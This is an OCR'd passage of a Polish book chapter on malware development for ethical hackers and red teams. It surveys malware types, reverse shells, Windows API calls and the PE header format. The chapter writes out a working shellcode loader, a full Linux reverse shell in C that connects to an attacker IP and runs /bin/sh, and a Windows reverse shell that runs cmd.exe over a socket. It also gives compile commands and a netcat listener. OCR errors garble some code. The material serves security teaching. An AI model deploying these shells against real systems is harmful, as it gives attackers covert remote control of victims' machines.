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Krotkie | o
wprowadzenie | 1
do tworzenia
2fosliwwego

oprogramowania

Tworzenie ztosliwego oprogramowania reprezentuje paradoksalng granice w Swiecie
etycznego hakowania i cyberbezpieczenstwa. Z jednej strony jest to domena niegodzi-
wych hakeréw, ktorych celem jest sianie spustoszenia, kradziez informacji i zakt6canie
dziatania systemow. Z drugiej strony jest to plac zabaw dla etycznych hakeréw i inzy-
nieréw cyberbezpieczenstwa, ktorzy staraja sie zrozumie¢ wewnetrzne mechanizmy
ztoSliwego oprogramowania, aby lepiej chroni¢ i wzmacnia¢ systemy. Zasadniczo two-
rzenie malware’u to proces pisania kodu z my$la o wyrzadzeniu szkéd, uzyskaniu nie-
autoryzowanego dostepu lub zaktéceniu ustug. Jednak dla specjalistéw ds. cyberbez-
pieczenstwa stanowi on $ciezke do gtebszej wiedzy i kompleksowego zrozumienia
zagrozen, co pomaga im pozostawac o krok przed przeciwnikami.

W tym rozdziale oméwimy nastepujace zagadnienia:
B Po co pisa¢ ztosliwe oprogramowanie?
B Funkcje i dziatanie ztosliwego oprogramowania.

B Uzywanie wewnetrznych funkcji Windows do tworzenia zto$liwego
oprogramowania.

B Analizowanie plikow PE (EXE i DLL).

B Sztuka oszukiwania systemu ofiary.

Wymagania techniczne

W tej ksigzce uzywam maszyn wirtualnych Kali Linux (https://www.kali.org/) i Parrot
Security OS (https://www.parrotsec.org/) do pisania oraz demonstrowania kodu, a sys-
temu Windows 10 (https://www.microsoft.com/en-us/software-download/windows10ISO)
jako komputera ofiary.
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W repozytorium ksigzki znajdziesz instrukcje konfigurowania maszyn wirtualnych zgod-
nie z dokumentacjg VirtualBox.

Nastepnie trzeba bedzie skonfigurowaé srodowisko programistyczne w systemie Kali
Linux. Musisz upewnic sie, ze masz zainstalowane niezbedne narzedzia, takie jak edy-
tor tekstu, kompilator itd.

Jajako edytora tekstu uzywam programu NeoVim (https://github.com/neovim/neovim)
z wyroznianiem sktadni. NeoVim to lekki, efektywny edytor, ale jesli chcesz, mozesz uzy-
wac innego, np. VSCode (https://code.visualstudio.com/).

Do kompilowania przyktadéw uzywam oprogramowania MinGW (https://www.mingw
-w64.0org/) dla Linuksa, ktére zainstalowatem nastepujacym poleceniem:

$ sudo apt install mingw-*

Kod do tego rozdziatu mozna znalez¢ pod adresem https://github.com/PacktPublishing/
Malware-Development-for-Ethical-Hackers/blob/main/chapter01/.

Po co pisac ztosliwe oprogramowanie?

Bez wzgledu na to, czy jeste$ specjalistg od symulowania atakéw czy od testow pene-
tracyjnych, zdobycie wiedzy o technikach i sztuczkach tworzenia malware’u zapewnia
lepszy wglad w wyrafinowane ataki. Co wiecej, poniewaz znaczna cze$¢ tradycyjnych
ztosliwych programéw powstaje w systemie Windows, zyskujesz réwniez praktyczne
umiejetno$ci tworzenia oprogramowania dla Windows.

ZtoSliwe oprogramowanie to typ oprogramowania pisany z my$la o szkodliwych dzia-
taniach, takich jak uzyskiwanie nieautoryzowanego dostepu do komputera albo wykra-
danie wrazliwych informacji. Termin zlo$liwe oprogramowanie (ang. malware) zwy-
kle kojarzy sie z nielegalng lub przestepcza dziatalnoscia, ale malware’u uzywaja tez
pentesterzy i cztonkowie ,zespotéw czerwonych” do autoryzowanej oceny bezpieczen-
stwa organizacji.

Tworzenie niestandardowych narzedzi, takich jak malware, ktore nie zostaty prze-
analizowane przez producentéw rozwigzan zabezpieczajacych, zapewnia zespotowi
atakujacemu znaczng przewage, jesli chodzi o unikanie wykrycia. Dlatego umiejetno$¢
pisania ztosliwego oprogramowania pozwala na skuteczniejszg ocene zabezpieczen.

Prosty przyktad

Z1osliwe oprogramowanie mozna teoretycznie pisa¢ w dowolnym jezyku programowania,
takim jak C, C++, C#, Python, Go, PowerShell albo Rust. Jednak z kilku przyczyn niektore
jezyki programowania cieszga sie wieksza popularnosciag wsrod twéorcéw malware’u.
Na przyktad najprostszy ztosliwy program w jezyku C mozna znalez¢ pod adresem
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/
main/chapter01/01-whatis-malware-dev/hack.c.
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Oto jego podstawowe dziatanie. Program alokuje fragment pamieci:
// rezerwujemy i alokujemy pamie¢ na tadunek

memory_for_payload = VirtualAlloc(0, actual payload Tength,
MEM COMMIT | MEM RESERVE, PAGE_READWRITE);

Nastepnie kopiuje tadunek do zaalokowanej pamieci:

Rt1MoveMemory (memory for payload, actual payload, payload len);

Zmienia uprawnienia pamieci, zeby mozna byto wykona¢ kod:

operation_status = VirtualProtect(memory for payload, payload len,
PAGE_EXECUTE_READ, &previous protection level);

Tworzy nowy watek wykonawczy i zaczyna wykonywac tadunek w tym nowym watku:

if ( operation_status != 0 ) {
// wykonujemy tadunek
thread _handle = CreateThread(0, 0, (LPTHREAD START ROUTINE)
—>memory_for_payload,
0, 0, 0);
WaitForSingleObject (thread handle, -1);
}

return 0;

Sporo rzeczy moze wydawac Ci sie niezrozumiatych, cho¢ niektérzy czytelnicy mogli
spotkac sie z czym$ podobnym. Ogoélnie rzecz biorac, ten prosty fragment kodu C++
demonstruje podstawowg forme zto$liwego oprogramowania.

Wazna uwaga
Wszystkie przyktady beda napisane w jezykach C/C++.

C/C++ od dawna jest preferowanym jezykiem zar6wno do tworzenia ztosliwego opro-
gramowania, jak i do ogélniejszego symulowania atakow. Efektywno$¢ tych jezykow
oraz ich niskopoziomowy dostep do zasobow systemowych sprawia, ze sa bardzo sku-
tecznymi narzedziami w rekach do$wiadczonych programistow, ktorzy zajmuja sie
badaniem luk w zabezpieczeniach i modelowaniem zagrozen.

W przeciwienstwie do jezykow wyzszego poziomu C/C++ pozwala na bezposrednie
manipulowanie sprzetem i pamiecia, oferujgc niezréwnang elastyczno$¢ pisania kodu,
ktory wchodzi w interakcje z systemami operacyjnymi, protokotami sieciowymi i innymi
kluczowymi komponentami komputera.

Ta precyzyjna kontrola pozwala na tworzenie ztozonego, niewidocznego, wyspecjalizo-
wanego malware’u, ktory potrafi unika¢ wykrycia, modyfikowa¢ dziatanie systemu i prze-
prowadza¢ wyrafinowane ataki. Ponadto znajomos$¢ C/C++ daje wglad w podstawowe
dziatanie systemu operacyjnego i oprogramowania, co jest niezwykle wazne dla kaz-
dego, kto zajmuje sie cyberbezpieczenstwem.

Wiedza ta pozwala nie tylko opracowywac skuteczne $rodki zaradcze, ale réwniez
realistycznie symulowac dziatania przeciwnikéw poprzez odtwarzanie rzeczywistych
atakéw na potrzeby badan, szkolen oraz planowania strategii defensywne;j.
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Dlatego biegta znajomos$¢ C/C++ jest duzym atutem na nieustannie zmieniajgcym sie
polu bitewnym cyberwojny, gdzie zrozumienie i symulacja mozliwosci przeciwnika jest
kluczem do opracowania solidnej i odpornej obrony.

Funkcje i dziatanie
ztosliwego oprogramowania

Ten rozdziat zawiera przeglad r6znych dziatan ztosliwego oprogramowania, z ktérych
cze$¢ moze by¢ Ci juz znana. Moim celem jest skrétowe przedstawienie typowych
dziatan i wyposazenie Cie w wszechstronng wiedze, ktéra umozliwi Ci tworzenie réz-
nych ztosliwych aplikacji. Poniewaz nieustannie powstaja nowe ztosliwe programy
0 pozornie nieograniczonych mozliwos$ciach, nie moge omoéwi¢ kazdego rodzaju mal-
ware’u, ale moge da¢ Ci pewne pojecie, na co nalezy zwracac uwage.

Typy zlosliwego oprogramowania

Zacznijmy od omo6wienia niektérych najbardziej typowych rodzajéw ztosliwego opro-
gramowania. Istnieje wiele r6znych kategorii, ale zacznijmy od oméwienia wirusow,
robakéw i trojanow. Wirusy to fragmenty kodu, ktére dotgczaja sie do innych progra-
moéw i powielaja sie, czesto przy okazji powodujac szkody. Robaki przypominajg wirusy,
ale same sie powielajg i moga rozprzestrzeniac sie przez sie¢ bez interwencji czto-
wieka. Trojany to aplikacje, ktére wydaja sie nieszkodliwe, ale w rzeczywistosci maja
ukryty, ztosliwy cel.

Oto krétki opis niektérych popularnych typédw ztosliwego oprogramowania:

B Backdoory. Ztosliwe oprogramowanie z funkcja backdoora (,tylnych drzwi”)
pozwala napastnikowi obej$¢ zwykte protokoty uwierzytelniania
lub szyfrowania w komputerze, produkcie lub urzgdzeniu wbudowanym,
a czasem w jego protokole komunikacyjnym. Backdoory zapewniaja napastnikom
niewidoczny dostep do systemu, pozwalajac im zdalnie sterowaé¢ komputerem
ofiary w celu podejmowania réznych ztosliwych dziatan.

B Downloadery. Jest to typ ztosliwego oprogramowania, ktdére po zainstalowaniu
w systemie ofiary pobiera i instaluje inne ztosliwe programy. Czesto uzywa
sie ich w atakach wieloetapowych, w ktérych downloader jest sposobem
na zainstalowanie bardziej zaawansowanych, czasem dostosowanych zagrozen
we wstepnie zainfekowanym komputerze.

B Trojany. Trojany to zto$liwe oprogramowanie, ktdre udaje zwyczajne aplikacje.
Termin ten wywodzi sie od zwodniczego drewnianego konia, ktéry doprowadzit
do upadku Troi. Trojany umozliwiaja cyberztodziejom i hakerom szpiegowanie
Cie, wykradanie Twoich wrazliwych danych i przejmowanie kontroli nad Twoim
systemem.
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B Trojany zdalnego dostepu (ang. remote access trojan, RAT). Trojany RAT
zapewniaja napastnikowi petna kontrole nad zainfekowanym systemem.
Mozna uzywac ich do instalowania dodatkowego ztosliwego oprogramowania,
wysytania danych do zdalnego serwera, zaktdcania dziatania urzadzen,
modyfikowania ustawien systemu, uruchamiania lub przerywania aplikacji
itd. Trojany RAT bywaja szczeg6lnie niebezpieczne, poniewaz czesto nie sg
wykrywane przez oprogramowanie antywirusowe.

B Stealery. Ten typ zlosliwego oprogramowania stuzy do wydobywania
wrazliwych danych z komputera ofiary, w tym haset, numeréw kart
kredytowych i innych informacji osobowych. Wykradzione dane sg nastepnie
uzywane do réznych ztosliwych celéw, takich jak kradziez tozsamosci albo
oszustwa finansowe, albo nawet sprzedawane w ,,ciemnej sieci”.

B Bootkity. Bootkit to wariant zto$liwego oprogramowania, ktéry infekuje
gltéwny rekord rozruchowy (ang. master boot record, MBR). Atak na procedure
rozruchowg oznacza, ze bootkit jest wezytywany przed systemem operacyjnym
i pozostaje ukryty przed programami antywirusowymi. Bootkity czesto
zapewniajg napastnikom dostep przez ,tylne drzwi”, a ich wykrywanie
i usuwanie jest bardzo trudne.

B Powloki odwrotne. Powtoka odwrotna to mechanizm, za pomoca ktérego
komputer napastnika otrzymuje komunikacje od komputera ofiary.
W komputerze napastnika otwarty jest nastuchujacy port. Przyjmuje on
potaczenie i zapewnia ukryty kanat komunikacji, ktéry omija ograniczenia
zapory lub routera w docelowym komputerze. Daje to dostep do wiersza
polecen, a w niektérych przypadkach peing kontrole nad docelowym
komputerem.

Powyzsze opisy powinny da¢ Ci dobre pojecie o typowych dziataniach réznych typow
ztosliwego oprogramowania. We wspétczesnym krajobrazie zagrozen szczego6lng role
odgrywaja powtoki odwrotne. Sa ulubionym narzedziem wielu napastnikéw, ponie-
waz pozwalaja uniknaé wykrycia, a jednocze$nie zapewniaja duzy stopien kontroli nad
zainfekowanym systemem.

Powtoki odwrotne

Powtoka odwrotna moze uzywac standardowych portéw wychodzacych, takich jak
porty 80, 443, 8080 itd.

Powtoki odwrotnej zwykle uzywa sie wtedy, gdy zapora komputera ofiary blokuje pota-
czenia przychodzace z okreslonych portéw. Cztonkowie zespotéw czerwonych i pente-
sterzy uzywaja portow odwrotnych, aby obej$¢ to ograniczenie.

Jest jednak pewne zastrzezenie. Ujawnia to serwer dowodzenia napastnika, a ustugi
monitorowania bezpieczenstwa sieci mogg wykry¢ slady ataku.
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Powtoke odwrotng tworzy sie w trzech etapach:

1. Najpierw przeciwnik wykorzystuje luke w zabezpieczeniach systemu lub sieci,
ktdéra pozwala na wykonywanie kodu w docelowym komputerze.

2. Nastepnie przeciwnik instaluje program nastuchujgcy we wtasnym systemie.
3. Napastnik wstrzykuje powtoke odwrotng do zainfekowanego systemu.

Tu dodatkowa uwaga: w rzeczywistych cyberatakach dostep do powtoki odwrotnej
czesto uzyskuje sie z uzyciem socjotechniki. Na przyktad ztosliwe oprogramowanie
zainstalowane w lokalnej stacji roboczej za posrednictwem wiadomosci phishingowe;j
albo ztosliwej witryny moze zainicjowa¢ potaczenie wychodzace do serwera dowo-
dzenia i zapewni¢ hakerowi dostep do powtoki odwrotne;.

Praktyczny przykiad: powtoka odwrotna

Napiszmy najpierw najprostsza mozliwg powtoke odwrotng dla komputeréw linukso-
wych: https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/
blob/main/chapter01/02-reverse-shell-linux/hack2.c.

Przeanalizujmy szczegotowo dziatanie tego kodu:

1. Najpierw dotaczamy wymagane nagtéwki:

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>

Te instrukcje include importuja biblioteki wymagane do komunikacji
sieciowej i tworzenia proceséw.

Adres IP komputera napastnika, z ktérym bedzie komunikowac sie powtoka
odwrotna:

Adres IP napastnika:
const char* attacker_ip = "10.10.1.5";

2. Nastepnym krokiem jest przygotowanie adresu ofiary:
struct sockaddr_in target address;
target address.sin_family = AF_INET;
target _address.sin_port = htons(4444);
inet_aton(attacker_ip, &target_address.sin_addr);
Kod ten konfiguruje strukture sockaddr_in z docelowym adresem i portem IP.
Adres IP jest przeksztatcany z formatu czytelnego dla cztowieka w strukture
in_addr za pomoca funkcji inet_aton(). Wybrany port ma numer 4444 i jest
przeksztatcany w sieciowa kolejnos¢ bajtéw z uzyciem funkcji htons ().

3. W kolejnym kroku tworzymy nowe gniazdo:
int socket file descriptor = socket(AF_INET, SOCK STREAM, 0);
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W celu utworzenia nowego gniazda TCP/IP wywotujemy funkcje socket ().

4. Laczymy sie z serwerem napastnika:

connect (socket file descriptor,
(struct sockadr *)&target address, sizeof(target address));
Kod ten prébuje potaczy¢ gniazdo z okreslonym adresem i portem IP.
5. Najwazniejsza cze$cia jest przekierowanie standardowe wejscia, wyj$cia
i wyj$cia btedu do gniazda:
for (int index = 0; index < 3; index++) {
// dup2(socket file_descriptor, 0) — tqczymy ze standardowym wejsciem
// dup2(socket file_descriptor, 1) — tqczymy ze standardowym wyjsciem
// dup2(socket file descriptor, 2) — tqczymy ze standardowym wyjsciem btedu
dup2(socket file descriptor, index);

}

Funkcja dup2() duplikuje deskryptor pliku gniazda do deskryptoréw pliku

dla standardowego wejscia, standardowego wyjscia i standardowego wyjscia
btedu. Oznacza to, ze cate wejscie i wyjs$cie powtoki bedzie przechodzi¢ przez
potaczenie sieciowe.

6. Uruchamiamy powtoke:
execve("/bin/sh", NULL, NULL);

Na koniec wywotujemy funkcje execve(), aby zastapi¢ biezacy proces nowym
procesem. W tym przypadku uruchamiamy nowg powtoke "/bin/sh". Dzieki
poprzednim wywotaniom dup2 () powtoka ta bedzie komunikowa¢ sie przez
potaczenie sieciowe.

Jak widzisz, jest to bardzo uproszczony przyktad, ktory nie zawiera zadnego kodu
sprawdzajgcego btedy.

Praktyczny przykiad: powtoka odwrotna

dla Windows

Teraz napiszmy prostg powtoke odwrotng dla Windows. Oto pseudokod wymagany do
uruchomienia powtoki Windows:

1. Zainicjalizuj biblioteke gniazd wywotaniem WSAStartup.

2. Utwdérz gniazdo.

3. Podiacz gniazdo do zdalnego hosta i portu (hosta napastnika).
4. Uruchom cmd.exe.

Przyktadowy kod znajduje sie pod adresem https://github.com/PacktPublishing/Malware
-Development-for-Ethical-Hackers/blob/main/chapter01/03-reverse-shell-windows/
hack3.c/.
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1. Najpierw konfigurujemy wymagane biblioteki, zmienne i struktury:

#include <stdio.h>

#include <winsock2.h>

#pragma comment(1ib, "w2_32")

WSADATA socketData;

SOCKET mainSocket;

struct sockaddr_in connectionAddress;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;

2. Nastepnie ustawiamy adres i port IP, z ktérym bedzie tgczyt sie komputer
ofiary (w tym przyktadzie s3 one ustawione na 10.10.1.5 i 4444):

char *attackerIP = "10.10.1.5";
short attackerPort = 4444,

3. Kolejny fragment kodu stuzy do inicjalizacji gniazd. Biblioteke Windows
Sockets inicjalizuje sie wywotaniem WSAStartup, a gniazdo tworzy sie za pomoca
funkcji WSASocket:

// inicjalizujemy biblioteke gniazd

WSAStartup (MAKEWORD(2, 2), &socketData);

// tworzymy obiekt gniazda

mainSocket = WSASocket (AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,
(unsigned int)NULL, (unsigned int)NULL);

4. Nastepnie wypelniamy strukture adresu gniazda informacjami o adresie
oraz porcie i prébujemy nawigzac¢ potaczenie wywotaniem WSAConnect:

connectionAddress.sin_family = AF_INET;
connectionAddress.sin_port = htons(attackerPort);
connectionAddress.sin_addr.s _addr = inet_addr(attackerIP);

// nawiqzujemy potgczenie ze zdalnym hostem
WSAConnect (mainSocket, (SOCKADDR*)&connectionAddress,
sizeof(connectionAddress), NULL, NULL, NULL, NULL);

5. PrzejdZzmy teraz do logiki tworzenia procesu. Konfigurujemy strukture
startupInfo tak, aby uzywac gniazda jako standardowego wejscia, wyjscia
i wyj$cia btedu. Nastepnie wywotujemy funkcje CreateProcess, aby uruchomi¢
interfejs wiersza polecen z przekierowanymi strumieniami wejs$cia-wyj$cia:
memset (&startupInfo, 0, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
startupInfo.dwFlags = STARTF USESTDHANDLES;
startupInfo.hStdInput = starfuplnfo.hStdOutput =

startupInfo.hStdError = (HANDLE) mainSocket;

// uruchamiamy cmd.exe z przekierowanymi strumieniami
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL,
&startupInfo, &processIinfo);

Teraz sprawdzmy dziatanie tych programoéow!
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Demonstracja

Najpierw skompilujmy nasza powtoke odwrotna:
$ 1686-w64-mingw32-g++ hack3.c -o hack3.exe -lws2 32 -s -ffunction-sections

-fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants
-static-libstdc++ -static-1ibgcc -fpermissive

Oto krotki opis kazdej flagi uzytej w powyzszym poleceniu:
B -0 hack3.exe. Okresla nazwe pliku ze skompilowanym programem.

B -lws2_32. Dolacza biblioteke Winsock (ws2_32.1ib), ktéra jest potrzebna
do operacji sieciowych na platformie Windows.

B -s. Nakazuje kompilatorowi usunaé z pliku wykonywalnego tabele symboli
i informacje o relokacji, co zmniejsza rozmiar pliku.

B -ffunction-sections. Nakazuje kompilatorowi umiesci¢ kazda funkcje
w osobnej sekcji pliku wyjSciowego. Flagi tej czesto uzywa sie w potaczeniu
z flagg linkera --gc-sections, aby usung¢ nieuzywany kod.

B -fdata-sections. Podobna do flagi -ffunction-sections, nakazuje
kompilatorowi umiesci¢ kazda zmienng globalng w osobnej sekgji.

B -Wno-write-strings. Zapobiega wyswietlaniu ostrzezen dotyczacych
zapisywania literatéw tancuchowych. Nakazuje kompilatorowi,
aby nie ostrzegat o prébach modyfikowania literatéw tancuchowych,
co jest niezdefiniowana operacja.

B -fno-exceptions. Wylgcza obstuge wyjatkow. Nakazuje kompilatorowi,
zeby nie generowat kodu dla konstrukcji zwigzanych z obstugg wyjatkow,
takich jak bloki try-catch.

B -fmerge-all-constants. Wigcza scalanie identycznych statych. Kompilator
probuje scali¢ identyczne state w jeden egzemplarz, co zmniejsza rozmiar
pliku wykonywalnego.

B -static-libstdc++. Dotgcza statycznie biblioteke standardowa C++,
zeby wynikowy plik wykonywalny nie byt zalezny od dynamicznego taczenia
z libstdc++ w czasie wykonania.

B -static-libgcc. Dotacza statycznie biblioteke uruchomieniowg GCC,
zeby wynikowy plik wykonywalny nie byt zalezny od dynamicznego taczenia
z Tibgcc w czasie wykonania.

B -fpermissive. RozluZnia niektére reguty jezykowe, aby kompilator byt bardziej
tolerancyjny dla nieprzestrzegajacego ich kodu. Umozliwia to kompilowanie
pewnych niestandardowych albo potencjalnie niebezpiecznych konstrukcji.

Flag tych bede uzywat podczas kompilacji niemal wszystkich przyktadéw kodu w tej
ksiazce.

W komputerze z systemem Kali Linux kompilacja wyglada tak, jak pokazano na
rysunku 1.1.
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fhac kingjpac kt pish M skware- Development - far- Et hic al- Hacker/chapt er01/0 3 reverse-s hell

File Actions Edit View Help

[ ~/../packtpub/Malware-Development-for-Ethical-Hackers/chapter@1/03-revers
e-shell-windows ]

+ hack3.c hack3.exe

~/../packtpub/Malware-Development-for-Ethical-Hackers/chapter@l/@3-revers
e-shell-windows |

total 20
-TWXr- x 1 cocomelonc cocomelonc 15368 Feb
-rwxr-xr-x 1 cocomelonc melonc 13 Feb

T ~/../packtpub/Malware-Development-for-Ethical-Hackers/chapter@l/e3-revers
e-shell-windows |

Rysunek 1.1. Kompilowanie programu hack3.c

Teraz wykonajmy poniZzsze czynnosci:
1. Przygotujmy stuchacza poleceniem netcat:
$ nc -nlvp 4444

W komputerze z systemem Parrot Security OS wyniki polecenia wygladaja
tak, jak pokazano na rysunku 1.2.

0 Applications - Places Fri 00:29

t@parrot

Rysunek 1.2. Stuchacz netcat w komputerze napastnika

2. Nastepnie wykonajmy powloke w komputerze ofiary (u mnie jest to Windows
10 x64):

$ .\hack3.exe
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W maszynie wirtualnej Windows 10 x64 wyniki wygladajg tak, jak pokazano
na rysunku 1.3.

View Input Devices  Help

@parrot

$ Try the new cross-platform PowerShell https://aka.ms/pscoreé
pconfig.exe

Windows IP Configuration

Ethernet adapter Ethe

Rysunek 1.3. Uruchamianie powtoki odwrotnej

Jak widzisz, wszystko dziata zgodnie z oczekiwaniami!

Zasadniczo wtasnie w taki spos6b mozna utworzy¢ powtoke odwrotng w kompute-
rach z systemem Windows.

Uzywanie wewnetrznych
funkcji Windows do tworzenia
ztosliwego oprogramowania

Interfejs Windows API pozwala programistom korzysta¢ z funkcji systemu operacyj-
nego Windows z poziomu ich aplikacji. Jesli na przyktad aplikacja musi wyswietli¢ co$
na ekranie, zmodyfikowac plik albo pobrac¢ co$ z internetu, wszystkie te zadania mozna
wykonac za posrednictwem Windows API. Microsoft udostepnia obszerng dokumen-
tacje Windows API, ktérg mozna przegladaé¢ w witrynie MSDN.

Praktyczny przyktad

Oto prosty program w jezyku C, ktéry uzywa Windows API do pobrania i wyswietla-
nia nazwy biezgcego uzytkownika. Cho¢ program ten nie jest z natury szkodliwy, zro-
zumienie tych zasad moze by¢ punktem wyj$cia do tworzenia bardziej ztozonych
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(potencjalnie szkodliwych) programéw. Pamietaj, zeby odpowiedzialnie korzystac
z tych informacji:
#include <windows.h>
#include <stdio.h>
int main() {
char username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
printf("current user is: %s\n", username);
return 0;

}

W tym kodzie GetUserName to funkcja Windows API, ktéra pobiera nazwe uzytkownika
zwigzang z biezacym watkiem. UNLEN to stata zdefiniowana w pliku Imcons.h (dotacza-
nym do windows.h), ktéra okresla maksymalng dtugo$¢ nazwy uzytkownika.

Zauwaz, ze kompilacja tego programu wymaga dotgczenia biblioteki advapi32.1ib.

Wiekszo$¢ funkcji Windows API jest dostepna w wariancie ,A” lub ,W”, na przyktad
GetUserNameA i GetUserNameW. Funkcje konczace sie na ,A” reprezentuja kodowanie ANSI,
a te konczace sie na,W” reprezentujg kodowanie Unicode albo ,szerokie” (ang. Wide).

Funkcje ANIS akceptuja jako parametry typy danych ANSI, a funkcje Unicode akcep-
tuja typy danych Unicode. Na przyktad pierwszym parametrem GetUserNameA jest LPSTR,
czyli wskaznik do tancucha znakéw w kodowaniu Windows ANSI zakoniczonego zna-
kiem pustym (null). Natomiast pierwszym parametrem GetUserNameW jest LPWSTR, wskaz-
nik do taficucha znakéw w 16-bitowym kodowaniu Unicode zakonczonego znakiem
pustym.

Ponadto liczba wymaganych bajtéw rdzni sie w zalezno$ci od uzywanej wersji:
char s1[] = "malware"; // 8 bajtéw (malware + znak pusty).

wchar s2[] = L"malware"; // 16 bajtéw, kazdy znak ma dwa bajty. Znak pusty réwniez
// ma 2 bajty.

Tworzenie ztosliwego oprogramowania wymaga gtebokiego zrozumienia technik i narze-
dzi, ktére umozliwiajg interakcje z procesami i pamiecia systemu operacyjnego Win-
dows, manipulowanie nimi i badanie ich. Kluczowa czes$cig tej wiedzy jest znajomos¢
API debugowania Windows, zbioru funkcji udostepnianych przez system operacyjny,
ktérych mozna uzywac¢ do manipulowania pamiecia i procesami. W tym rozdziale przed-
stawie niektdre sposrod tych wywotan API i pokaze, jak wykorzystac je w kontekscie
etycznego hakowania i tworzenia malware’u:

B VirtualAlloc. Ta funkcja stuzy do rezerwowania lub przydzielania (albo jednego
i drugiego) regionu stron w wirtualnej przestrzeni adresowej wywotujacego
procesu. Pamie¢ przydzielona przez te funkcje jest automatycznie wypetniana
zerami, co utatwia wykrywanie pewnych usterek w programach. Funkcja ta jest
czesto uzywana przez ztosliwe oprogramowanie do przydzielania pamieci na
przechowywanie kodu lub danych.
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B VirtualProtect. Ta funkcja zmienia ochrone regionu przydzielonych stron
w wirtualnej przestrzeni adresowej wywotujacego procesu. Ztosliwe
oprogramowanie czesto uzywa tej funkcji do zmiany ochrony pamieci,
aby umozliwi¢ zapisywanie danych do regionéw pamieci, ktére zwykle
sg przeznaczone tylko do odczytu, albo wykonywanie kodu w regionach
pamieci, ktére zwykle nie sa przeznaczone do wykonania.

B RtIMoveMemory. Ta funkcja przenosi zawartos¢ zrédtowego bloku pamieci
do docelowego bloku pamieci, przy czym bloki te moga sie naktadac¢. Cho¢
w zwyktych aplikacjach zwykle stuzy do prostych operacji na pamieci,
w ztosliwym oprogramowaniu mozna uzywac jej do manipulowania kodem
lub danymi w pamieci.

B CreateThread. Ta funkcja tworzy watek do wykonania w wirtualnej przestrzeni
adresowej wywotujgcego procesu. Ztosliwe oprogramowanie moze uzywac
watkow do wykonywania wspdtbieznych operacji, na przyktad komunikowania
sie z serwerem dowodzenia i jednoczesnego szyfrowania plikow ofiary w celu
wymuszenia okupu.

Teraz przyjrzymy sie jednej z najwazniejszych i najbardziej fundamentalnych koncep-
cji w dziedzinie tworzenia zlo$liwego oprogramowania.

Analizowanie plikow PE (EXE i DLL)

Co to jest format PE (ang. portable executable)? Jest to natywny format pliku Win32,
czesciowo wywodzacy sie z uniksowej specyfikacji COFF (ang. common object file for-
mat). Przenosnos¢ tego formatu oznacza, ze jest on powszechnie uzywany na platfor-
mie Win32; program wczytujacy pliki PE na kazdej platformie Win32 rozpoznaje
i wykorzystuje ten format pliku, nawet kiedy system dziata na procesorach innych
niz intelowskie. Nie oznacza to, ze pliki wykonywalne PE mozna przenosi¢ bez mody-
fikacji na inne platformy procesorowe. W zwigzku z tym analiza formatu PE oferuje
cenny wglad w architekture Windows.

Format pliku PE jest zdefiniowany gtéwnie przez nagtéwek PE, wiec zajmijmy sie nim
w pierwszej kolejnosci. Nie musisz zgtebia¢ kazdego aspektu nagtéwka, ale powinienes
zrozumiec jego strukture i umie¢ zidentyfikowac jego kluczowe komponenty:

B Nagléwek DOS-a. Nagtéwek DOS-a zawiera informacje potrzebne

do uruchamiania plikéw PE. Dlatego do wczytywania pliku PE wymagana
jest ponizsza preambuta:

typedef struct IMAGE DOS HEADER { // Nagtéwek plikéw .EXE systemu DOS

WORD e magic; // ldentyfikator formatu ("magiczna”
// liczba)
WORD e _cblp; // Liczba bajtéw na ostatniej stronie pliku
WORD e_cp; // Liczba stron w pliku
WORD e cric; // Licznik relokacji
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WORD e_cparhdr; // Rozmiar nagtéwka wyrazony
// w akapitach

WORD e minalloc; // Minimalna wymagana liczba
// dodatkowych akapitéw

WORD e_maxalloc; // Maksymalna wymagana liczba
// dodatkowych akapitéw

WORD e_ss; // Poczqtkowa wartos¢ wzgledna segmentu
//stosu (SS)

WORD e _sp; // Poczqtkowa wartos¢ wskaznika stosu
// (5P)

WORD e _csum; // Suma kontrolna pliku

WORD e_ip; // Poczqtkowa wartos¢ wskaznika
// instrukcji (IP)

WORD e _cs; // Poczgtkowa warto$¢ wzgledna segmentu
// kodu (CS)

WORD e Tfarlc; // Adres tabeli relokacji pliku

WORD e_ovno; // Numer naktadki

WORD e res[4]; // Stowa zarezerwowane do przysztego
// uzytku

WORD e oemid; // Identyfikator producenta OEM; zwiqzany
// z e_oeminfo

WORD e_oeminfo; // Informacje o producencie OEM; zwiqzane
// z e_oemid

WORD e res2[10]; // Dodatkowe zarezerwowane stowa

LONG e_Tfanew; // Adres wskazujgcy nowy nagtéwek exe

} IMAGE_DOS HEADER, *PIMAGE DOS HEADER;

Nagtéwek DOS ma 64 bajty. Najwazniejsze pola tej struktury to e_magic

i e_1fanew. Pierwsze dwa bajty nagtéwka pliku to 4D, 5A, czyli MZ; s3 to inicjaty
Marka Zbikowskiego, inzyniera Microsoftu, ktéry pracowat nad DOS-em.
Te ,magiczne znaki” wskazuja, Ze plik jest w formacie PE (patrz rysunek 1.4).

—$ hexdump -C hack3.exe ‘

00000000 00 03 00 00 00 04 00 00 00 ff ff 00 0O

oooooole 00 00 00 00 00 40 00 00 00 00 00 00 00

00000020 00 00 00 00 00 00 00 00 00 00 0O 00 0O

00000030 00 00 00 00 00 00 00 00 00 B0 00 0O 0O

00000040 @e 00 b4 @9 cd 21 b8 01 4c cd 21 54

00000050 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f |is program cannol|
00000060 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 |t be run in DOS |
00000070 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00

00000080 00 4c @1 @9 00 5c bc d7 65 00 00 00 00

00000090 00 e0d 00 Qe 03 Ob 01 02 28 00 18 00 00

i )-[~/../packtpub/Malware-Development-for-Ethical-Hackers/chapte

Rysunek 1.4. Magiczne bajty 4d 5a

Pole e_1fanew znajdujace sie na pozycji 0x3c w nagtéwku DOS-a przechowuje
przesuniecie, ktdre wskazuje, gdzie zaczyna sie nagtéwek PE (patrz rysunek 1.5).
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@ PE-bear v0.5.4 [Ci/Windows/Systemn32/calc.exe] (=N = =
